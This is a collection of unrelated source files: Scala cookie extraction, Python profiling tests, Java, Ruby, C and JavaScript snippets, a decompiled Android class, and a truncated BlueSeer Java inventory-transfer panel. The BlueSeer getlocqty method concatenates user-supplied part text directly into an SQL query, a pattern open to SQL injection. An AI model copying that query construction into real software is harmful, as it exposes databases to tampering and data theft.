val supportedSchema = SchemaCriterion("com.snowplowanalytics.snowplow", "cookie_extractor_config", "jsonschema", 1, 0)
/**
* Creates a CookieExtractorEnrichment instance from a JValue.
*
* @param config The cookie_extractor enrichment JSON
* @param schemaKey The SchemaKey provided for the enrichment
* Must be a supported SchemaKey for this enrichment
* @return a configured CookieExtractorEnrichment instance
*/
def parse(config: JValue, schemaKey: SchemaKey): ValidatedNelMessage[CookieExtractorEnrichment] =
isParseable(config, schemaKey).flatMap(conf => {
(for {
cookieNames <- ScalazJson4sUtils.extract[List[String]](config, "parameters", "cookies")
enrich = CookieExtractorEnrichment(cookieNames)
} yield enrich).toValidationNel
})
}
/**
* Enrichment extracting certain cookies from headers.
*
* @param cookieNames Names of the cookies to be extracted
*/
case class CookieExtractorEnrichment(
cookieNames: List[String]
) extends Enrichment {
def extract(headers: List[String]): List[JsonAST.JObject] = {
// rfc6265 - sections 4.2.1 and 4.2.2
val cookies = headers.flatMap { header =>
header.split(":", 2) match {
case Array("Cookie", value) =>
val nameValuePairs = BasicHeaderValueParser.parseParameters(value, BasicHeaderValueParser.INSTANCE)
val filtered = nameValuePairs.filter { nvp =>
cookieNames.contains(nvp.getName)
}
Some(filtered)
case _ => None
}
}.flatten
cookies.map { cookie =>
(("schema" -> "iglu:org.ietf/http_cookie/jsonschema/1-0-0") ~
("data" ->
("name" -> cookie.getName) ~
("value" -> cookie.getValue)))
}
}
}
|
Pandinosaurus/pyquickhelper | _unittests/ut_pycode/test_profiling.py | """
@brief test tree node (time=5s)
"""
import sys
import os
import unittest
import warnings
import time
try:
from pstats import SortKey
except ImportError:
# python < 3.7
from pyquickhelper.pycode.profiling import SortKey
import pandas
from pyquickhelper.pycode import ExtTestCase
from pyquickhelper.pandashelper import df2rst
from pyquickhelper import __file__ as rootfile
from pyquickhelper.pycode.profiling import (
profile, profile2df, profile2graph, ProfileNode)
class TestProfiling(ExtTestCase):
def test_profile(self):
def simple():
df = pandas.DataFrame([{"A": "x", "AA": "xx", "AAA": "xxx"},
{"AA": "xxxxxxx", "AAA": "xxx"}])
return df2rst(df)
rootrem = os.path.normpath(os.path.abspath(
os.path.join(os.path.dirname(rootfile), '..')))
ps, res = profile(simple, rootrem=rootrem) # pylint: disable=W0632
res = res.replace('\\', '/')
self.assertIn('pyquickhelper/pandashelper/tblformat.py', res)
self.assertNotEmpty(ps)
ps, res = profile(simple) # pylint: disable=W0632
res = res.replace('\\', '/')
self.assertIn('pyquickhelper/pandashelper/tblformat.py', res)
self.assertNotEmpty(ps)
def test_profile_df(self):
def simple():
def simple2():
df = pandas.DataFrame([{"A": "x", "AA": "xx", "AAA": "xxx"},
{"AA": "xxxxxxx", "AAA": "xxx"}])
return df2rst(df)
return simple2()
rootrem = os.path.normpath(os.path.abspath(
os.path.join(os.path.dirname(rootfile), '..')))
ps, df = profile(simple, rootrem=rootrem,
as_df=True) # pylint: disable=W0632
self.assertIsInstance(df, pandas.DataFrame)
self.assertEqual(df.loc[0, 'namefct'].split('-')[-1], 'simple')
self.assertNotEmpty(ps)
df = profile2df(ps, False)
self.assertIsInstance(df, list)
self.assertIsInstance(df[0], dict)
df = profile2df(ps, True)
self.assertIsInstance(df, pandas.DataFrame)
def test_profile_df_verbose(self):
calls = [0]
def f0(t):
calls[0] += 1
time.sleep(t)
def f1(t):
calls[0] += 1
time.sleep(t)
def f2():
calls[0] += 1
f1(0.1)
f1(0.01)
def f3():
calls[0] += 1
f0(0.2)
f1(0.5)
def f4():
calls[0] += 1
f2()
f3()
ps = profile(f4)[0] # pylint: disable=W0632
df = self.capture(
lambda: profile2df(ps, verbose=True, fLOG=print))[0]
dfi = df.set_index('fct')
self.assertEqual(dfi.loc['f4', 'ncalls1'], 1)
self.assertEqual(dfi.loc['f4', 'ncalls2'], 1)
def test_profile_pyinst(self):
def simple():
df = pandas.DataFrame([{"A": "x", "AA": "xx", "AAA": "xxx"},
{"AA": "xxxxxxx", "AAA": "xxx"}])
for i in range(0, 99):
df2rst(df)
return df2rst(df)
ps, res = profile(
simple, pyinst_format='text') # pylint: disable=W0632
self.assertIn('.py', res)
self.assertNotEmpty(ps)
ps, res = profile(
simple, pyinst_format='textu') # pylint: disable=W0632
self.assertIn('Recorded', res)
self.assertNotEmpty(ps)
ps, res = profile(
simple, pyinst_format='html') # pylint: disable=W0632
self.assertIn("</script>", res)
self.assertNotEmpty(ps)
self.assertRaise(lambda: profile(
simple, pyinst_format='htmlgg'), ValueError)
ps, res = profile(
simple, pyinst_format='json') # pylint: disable=W0632
self.assertIn('"start_time"', res)
self.assertNotEmpty(ps)
@unittest.skipIf(sys.version_info[:2] < (3, 7),
reason="not supported")
def test_profile_graph(self):
calls = [0]
def f0(t):
calls[0] += 1
time.sleep(t)
def f1(t):
calls[0] += 1
time.sleep(t)
def f2():
calls[0] += 1
f1(0.1)
f1(0.01)
def f3():
calls[0] += 1
f0(0.2)
f1(0.5)
def f4():
calls[0] += 1
f2()
f3()
ps = profile(f4)[0] # pylint: disable=W0632
profile2df(ps, verbose=False, clean_text=lambda x: x.split('/')[-1])
root, nodes = profile2graph(ps, clean_text=lambda x: x.split('/')[-1])
self.assertEqual(len(nodes), 6)
self.assertIsInstance(nodes, dict)
self.assertIsInstance(root, ProfileNode)
self.assertIn("(", str(root))
dicts = root.as_dict()
self.assertEqual(10, len(dicts))
text = root.to_text()
self.assertIn("1 1", text)
self.assertIn(' f1', text)
text = root.to_text(fct_width=20)
self.assertIn('...', text)
root.to_text(sort_key=SortKey.CUMULATIVE)
root.to_text(sort_key=SortKey.TIME)
self.assertRaise(lambda: root.to_text(sort_key=SortKey.NAME),
NotImplementedError)
js = root.to_json(indent=2)
self.assertIn('"details"', js)
js = root.to_json(as_str=False)
self.assertIsInstance(js, dict)
def test_profile_graph_recursive2(self):
def f0(t):
if t < 0.2:
time.sleep(t)
else:
f1(t - 0.1)
def f1(t):
if t < 0.1:
time.sleep(t)
else:
f0(t)
def f4():
f1(0.3)
ps = profile(f4)[0] # pylint: disable=W0632
profile2df(ps, verbose=False, clean_text=lambda x: x.split('/')[-1])
root, nodes = profile2graph(ps, clean_text=lambda x: x.split('/')[-1])
self.assertEqual(len(nodes), 4)
text = root.to_text()
self.assertIn(" f1", text)
js = root.to_json(indent=2)
self.assertIn('"details"', js)
def test_profile_graph_recursive1(self):
def f0(t):
if t < 0.1:
time.sleep(t)
else:
f0(t - 0.1)
def f4():
f0(0.15)
ps = profile(f4)[0] # pylint: disable=W0632
profile2df(ps, verbose=False, clean_text=lambda x: x.split('/')[-1])
root, nodes = profile2graph(ps, clean_text=lambda x: x.split('/')[-1])
self.assertEqual(len(nodes), 3)
text = root.to_text()
self.assertIn(" f0", text)
js = root.to_json(indent=2)
self.assertIn('"details"', js)
if __name__ == "__main__":
unittest.main()
|
TomConnery/GrowthAPI | src/main/java/tomconn/growthapi/implementations/growthprofile/probability/math/function/container/SingleValueContainer.java | package tomconn.growthapi.implementations.growthprofile.probability.math.function.container;
import tomconn.growthapi.interfaces.growthprofile.probability.math.function.container.SingleValueDomainContainer;
import java.util.Objects;
/**
* Default implementation of {@link SingleValueDomainContainer}
*
* @param <T> the type of the domain
*
* @implNote {@link #isValuePresent(Object)} is implemented by calling {@link Object#equals(Object)} of the contained
* value
* @since 0.0.6
*/
public class SingleValueContainer< T > implements SingleValueDomainContainer< T > {
private final T value;
/**
* Default constructor
*
* @param value sets the value for this container to the passed parameter
*
* @since 0.0.6
*/
public SingleValueContainer(T value) {
Objects.requireNonNull(value);
this.value = value;
}
/**
* {@inheritDoc}
*
* @since 0.0.6
*/
@Override
public boolean isValuePresent(T value) {
Objects.requireNonNull(value);
return this.value.equals(value);
}
/**
* {@inheritDoc}
*
* @since 0.0.6
*/
@Override
public T getValue() {
return value;
}
}
|
amco/mutant | spec/unit/mutant/differ_spec.rb | <gh_stars>1-10
# encoding: utf-8
require 'spec_helper'
describe Mutant::Differ do
let(:object) { described_class }
describe '.build' do
subject { object.build(old_string, new_string) }
let(:old_string) { "foo\nbar" }
let(:new_string) { "bar\nbaz" }
it { should eql(Mutant::Differ.new(%w(foo bar), %w(bar baz))) }
end
describe '.colorize_line' do
let(:object) { described_class }
subject { object.colorize_line(line) }
context 'line beginning with "+"' do
let(:line) { '+line' }
it { should eql(Mutant::Color::GREEN.format(line)) }
end
context 'line beginning with "-"' do
let(:line) { '-line' }
it { should eql(Mutant::Color::RED.format(line)) }
end
context 'line beginning in other char' do
let(:line) { ' line' }
it { should eql(line) }
end
end
end
|
dwijpr/islam | storage/app/Al-QuranIndonesia_com.andi.alquran.id_source_from_JADX/com/google/android/gms/internal/et.java | package com.google.android.gms.internal;
import android.content.Context;
import android.net.Uri;
import android.view.MotionEvent;
import com.google.android.gms.p039a.C1108c;
import com.google.android.gms.p039a.C1111d;
@op
public final class et {
private final ex f3922a;
public et(String str, Context context, boolean z) {
this.f3922a = ew.m6006a(str, context, z);
}
public Uri m5977a(Uri uri, Context context) {
C1108c a = this.f3922a.m5980a(C1111d.m3896a((Object) uri), C1111d.m3896a((Object) context));
if (a != null) {
return (Uri) C1111d.m3897a(a);
}
throw new eu();
}
public void m5978a(MotionEvent motionEvent) {
this.f3922a.m5991d(C1111d.m3896a((Object) motionEvent));
}
public Uri m5979b(Uri uri, Context context) {
C1108c b = this.f3922a.m5988b(C1111d.m3896a((Object) uri), C1111d.m3896a((Object) context));
if (b != null) {
return (Uri) C1111d.m3897a(b);
}
throw new eu();
}
}
|
gzlabs/hightide | hightide-core/src/main/java/io/hightide/resources/Resource.java | <reponame>gzlabs/hightide
package io.hightide.resources;
/**
* @author <a href="mailto:<EMAIL>"><NAME></a>
*/
public @interface Resource {
}
|
MarvinVoV/galaxy-crawler | src/main/java/com/galaxy/crawler/core/engine/event/UrlExtractEvent.java | package com.galaxy.crawler.core.engine.event;
/**
* @author hufeng
* @version : UrlExtractEvent.java, v 0.1 2020年07月13日 10:09 上午 hufeng Exp $
*/
public class UrlExtractEvent {
} |
fayazmum/c_labs | lab_10_1_1/src/insert_remove.c | #include "../inc/insert_remove.h"
void remove_duplicates(node_t **head, comparator cmp)
{
node_t *first = *head;
node_t *second, *temp, *third;
while (first && first->next)
{
temp = first;
second = first->next;
while (second)
{
if (cmp(first->data, second->data) == ok)
{
temp->next = second->next;
third = second;
second = second->next;
free(third);
}
else
{
temp = second;
second = second->next;
}
}
first = first->next;
}
}
void insert(node_t **head, node_t *elem, node_t *before)
{
node_t *current = *head;
if ((*head) == before)
{
elem->next = (*head);
(*head) = elem;
}
else
{
while (current && current->next)
{
if (current->next == before)
{
elem->next = current->next;
current->next = elem;
break;
}
current = current->next;
}
}
} |
AlfredGerke/ZABonline | source/wavemaker/common/packages/zabonline/mod/DummyServiceVariable.js | <filename>source/wavemaker/common/packages/zabonline/mod/DummyServiceVariable.js
dojo.provide("wm.packages.zabonline.mod.DummyServiceVariable");
dojo.declare("DummyServiceVariable", null, {
constructor: function() {
console.debug('Start DummyServiceVariable.constructor');
console.debug('End DummyServiceVariable.constructor');
},
onResult: function() {
console.debug('Start DummyServiceVariable.onResult');
console.debug('End DummyServiceVariable.onResult');
},
request: function() {
console.debug('Start DummyServiceVariable.request');
console.debug('End DummyServiceVariable.request');
},
doRequest: function() {
console.debug('Start DummyServiceVariable.doRequest');
this.request();
console.debug('End DummyServiceVariable.doRequest');
},
doResult: function() {
console.debug('Start DummyServiceVariable.doResult');
this.onResult();
console.debug('End DummyServiceVariable.doResult');
}
}); |
blueseerERP/blueseer | src/com/blueseer/inv/LocationTransfer.java | /*
The MIT License (MIT)
Copyright (c) <NAME>
All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package com.blueseer.inv;
import bsmf.MainFrame;
import static bsmf.MainFrame.tags;
import static com.blueseer.utl.BlueSeerUtils.getGlobalColumnTag;
import static com.blueseer.utl.BlueSeerUtils.getMessageTag;
import com.blueseer.utl.OVData;
import java.awt.Component;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.text.DateFormat;
import java.text.DecimalFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import javax.swing.BorderFactory;
import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JRadioButton;
import javax.swing.JScrollPane;
import javax.swing.JTabbedPane;
/**
*
* @author vaughnte
*/
public class LocationTransfer extends javax.swing.JPanel {
javax.swing.table.DefaultTableModel mymodel = new javax.swing.table.DefaultTableModel(new Object[][]{},
new String[]{
getGlobalColumnTag("site"),
getGlobalColumnTag("warehouse"),
getGlobalColumnTag("location"),
getGlobalColumnTag("qty")});
/**
* Creates new form LocationTransferPanel
*/
public LocationTransfer() {
initComponents();
setLanguageTags(this);
}
public void getlocqty(String parentpart) {
try {
Class.forName(bsmf.MainFrame.driver).newInstance();
bsmf.MainFrame.con = DriverManager.getConnection(bsmf.MainFrame.url + bsmf.MainFrame.db, bsmf.MainFrame.user, bsmf.MainFrame.pass);
try {
Statement st = bsmf.MainFrame.con.createStatement();
ResultSet res = null;
int i = 0;
mymodel.setRowCount(0);
tablelocqty.setModel(mymodel);
// ReportPanel.TableReport.getColumn("CallID").setCellRenderer(new ButtonRenderer());
// ReportPanel.TableReport.getColumn("CallID").setCellEditor(
// new ButtonEditor(new JCheckBox()));
res = st.executeQuery("SELECT in_site, in_loc, in_wh, in_qoh, in_date " +
" FROM in_mstr " +
" where in_part = " + "'" + parentpart.toString() + "'" +
" order by in_loc ;");
while (res.next()) {
i++;
mymodel.addRow(new Object[]{
res.getString("in_site"),
res.getString("in_wh"),
res.getString("in_loc"),
res.getInt("in_qoh")
});
}
} catch (SQLException s) {
MainFrame.bslog(s);
bsmf.MainFrame.show(getMessageTag(1016, Thread.currentThread().getStackTrace()[1].getMethodName()));
}
bsmf.MainFrame.con.close();
} catch (Exception e) {
MainFrame.bslog(e);
}
}
public void setLanguageTags(Object myobj) {
JPanel panel = null;
JTabbedPane tabpane = null;
JScrollPane scrollpane = null;
if (myobj instanceof JPanel) {
panel = (JPanel) myobj;
} else if (myobj instanceof JTabbedPane) {
tabpane = (JTabbedPane) myobj;
} else if (myobj instanceof JScrollPane) {
scrollpane = (JScrollPane) myobj;
} else {
return;
}
Component[] components = panel.getComponents();
for (Component component : components) {
if (component instanceof JPanel) {
if (tags.containsKey(this.getClass().getSimpleName() + ".panel." + component.getName())) {
((JPanel) component).setBorder(BorderFactory.createTitledBorder(tags.getString(this.getClass().getSimpleName() +".panel." + component.getName())));
}
setLanguageTags((JPanel) component);
}
if (component instanceof JLabel ) {
if (tags.containsKey(this.getClass().getSimpleName() + ".label." + component.getName())) {
((JLabel) component).setText(tags.getString(this.getClass().getSimpleName() +".label." + component.getName()));
}
}
if (component instanceof JButton ) {
if (tags.containsKey("global.button." + component.getName())) {
((JButton) component).setText(tags.getString("global.button." + component.getName()));
}
}
if (component instanceof JCheckBox) {
if (tags.containsKey(this.getClass().getSimpleName() + ".label." + component.getName())) {
((JCheckBox) component).setText(tags.getString(this.getClass().getSimpleName() +".label." + component.getName()));
}
}
if (component instanceof JRadioButton) {
if (tags.containsKey(this.getClass().getSimpleName() + ".label." + component.getName())) {
((JRadioButton) component).setText(tags.getString(this.getClass().getSimpleName() +".label." + component.getName()));
}
}
}
}
public void initvars(String[] arg) {
//tbpart.requestFocus();
mymodel.setRowCount(0);
tablelocqty.setModel(mymodel);
java.util.Date now = new java.util.Date();
DateFormat dfdate = new SimpleDateFormat("yyyy-MM-dd");
dcdate.setDate(now);
tbpart.setText("");
tbqty.setText("");
tbrmks.setText("");
ArrayList<String> sites = new ArrayList();
ddsitefrom.removeAllItems();
ddsiteto.removeAllItems();
sites = OVData.getSiteList();
for (String code : sites) {
ddsitefrom.addItem(code);
ddsiteto.addItem(code);
}
ArrayList<String> wh = new ArrayList();
ddwhfrom.removeAllItems();
ddwhto.removeAllItems();
wh = OVData.getWareHouseList();
for (String code : wh) {
ddwhfrom.addItem(code);
ddwhto.addItem(code);
}
ArrayList<String> mylist = new ArrayList();
ddlocfrom.removeAllItems();
ddlocto.removeAllItems();
if (ddwhfrom.getSelectedItem() != null) {
mylist = OVData.getLocationListByWarehouse(ddwhfrom.getSelectedItem().toString());
for (String code : mylist) {
ddlocfrom.addItem(code);
ddlocto.addItem(code);
}
}
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jPanel4 = new javax.swing.JPanel();
jPanel3 = new javax.swing.JPanel();
jPanel1 = new javax.swing.JPanel();
ddlocfrom = new javax.swing.JComboBox();
ddsitefrom = new javax.swing.JComboBox();
jLabel6 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
ddwhfrom = new javax.swing.JComboBox<>();
jLabel10 = new javax.swing.JLabel();
jPanel2 = new javax.swing.JPanel();
ddlocto = new javax.swing.JComboBox();
ddsiteto = new javax.swing.JComboBox();
jLabel8 = new javax.swing.JLabel();
jLabel9 = new javax.swing.JLabel();
ddwhto = new javax.swing.JComboBox<>();
jLabel11 = new javax.swing.JLabel();
tbpart = new javax.swing.JTextField();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
tbserial = new javax.swing.JTextField();
jLabel1 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
tbqty = new javax.swing.JTextField();
dcdate = new com.toedter.calendar.JDateChooser();
tbrmks = new javax.swing.JTextField();
bttransfer = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
tablelocqty = new javax.swing.JTable();
dcexpire = new com.toedter.calendar.JDateChooser();
jLabel12 = new javax.swing.JLabel();
setBackground(new java.awt.Color(0, 102, 204));
jPanel4.setBorder(javax.swing.BorderFactory.createTitledBorder("Warehouse/Location Transfer"));
jPanel4.setName("panelmain"); // NOI18N
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("From:"));
jPanel1.setName("panelfrom"); // NOI18N
jLabel6.setText("Site:");
jLabel6.setName("lblsite"); // NOI18N
jLabel7.setText("Location:");
jLabel7.setName("lblloc"); // NOI18N
ddwhfrom.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
ddwhfromActionPerformed(evt);
}
});
jLabel10.setText("Warehouse:");
jLabel10.setName("lblwh"); // NOI18N
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel7)
.addComponent(jLabel10, javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel6, javax.swing.GroupLayout.Alignment.TRAILING))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(ddsitefrom, 0, 118, Short.MAX_VALUE)
.addComponent(ddlocfrom, 0, 118, Short.MAX_VALUE)
.addComponent(ddwhfrom, 0, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(ddsitefrom, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel6))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(ddwhfrom, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel10))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(ddlocfrom, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel7))
.addContainerGap())
);
jPanel2.setBorder(javax.swing.BorderFactory.createTitledBorder("To:"));
jPanel2.setName("panelto"); // NOI18N
jLabel8.setText("Site:");
jLabel9.setText("Location:");
ddwhto.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
ddwhtoActionPerformed(evt);
}
});
jLabel11.setText("Warehouse:");
javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel9)
.addComponent(jLabel8)
.addComponent(jLabel11))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(ddwhto, javax.swing.GroupLayout.Alignment.TRAILING, 0, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(ddlocto, 0, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(ddsiteto, javax.swing.GroupLayout.PREFERRED_SIZE, 118, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(0, 0, Short.MAX_VALUE)))
.addContainerGap())
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(ddsiteto, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel8))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(ddwhto, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel11))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(ddlocto, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel9))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
jPanel3.setLayout(jPanel3Layout);
jPanel3Layout.setHorizontalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 9, Short.MAX_VALUE)
.addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
);
jPanel3Layout.setVerticalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
tbpart.addFocusListener(new java.awt.event.FocusAdapter() {
public void focusLost(java.awt.event.FocusEvent evt) {
tbpartFocusLost(evt);
}
});
jLabel2.setText("Qty:");
jLabel2.setName("lblqty"); // NOI18N
jLabel3.setText("EffectiveDate:");
jLabel3.setName("lbleffdate"); // NOI18N
jLabel1.setText("Part:");
jLabel1.setName("lblitem"); // NOI18N
jLabel5.setText("Serial");
jLabel5.setName("lblserial"); // NOI18N
jLabel4.setText("Remarks:");
jLabel4.setName("lblremarks"); // NOI18N
dcdate.setDateFormatString("yyyy-MM-dd");
bttransfer.setText("Transfer");
bttransfer.setName("bttransfer"); // NOI18N
bttransfer.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
bttransferActionPerformed(evt);
}
});
tablelocqty.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null},
{null, null, null},
{null, null, null},
{null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3"
}
));
jScrollPane1.setViewportView(tablelocqty);
dcexpire.setDateFormatString("yyyy-MM-dd");
jLabel12.setText("Expire");
jLabel12.setName("lblexpiredate"); // NOI18N
javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
jPanel4.setLayout(jPanel4Layout);
jPanel4Layout.setHorizontalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel4Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel4Layout.createSequentialGroup()
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel4, javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel5, javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel2, javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel3, javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel1, javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel12, javax.swing.GroupLayout.Alignment.TRAILING))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(tbqty, javax.swing.GroupLayout.PREFERRED_SIZE, 74, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(tbrmks, javax.swing.GroupLayout.PREFERRED_SIZE, 327, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(dcdate, javax.swing.GroupLayout.PREFERRED_SIZE, 149, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(tbserial, javax.swing.GroupLayout.PREFERRED_SIZE, 172, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(tbpart, javax.swing.GroupLayout.PREFERRED_SIZE, 190, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(dcexpire, javax.swing.GroupLayout.PREFERRED_SIZE, 149, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(0, 0, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createSequentialGroup()
.addGap(0, 13, Short.MAX_VALUE)
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
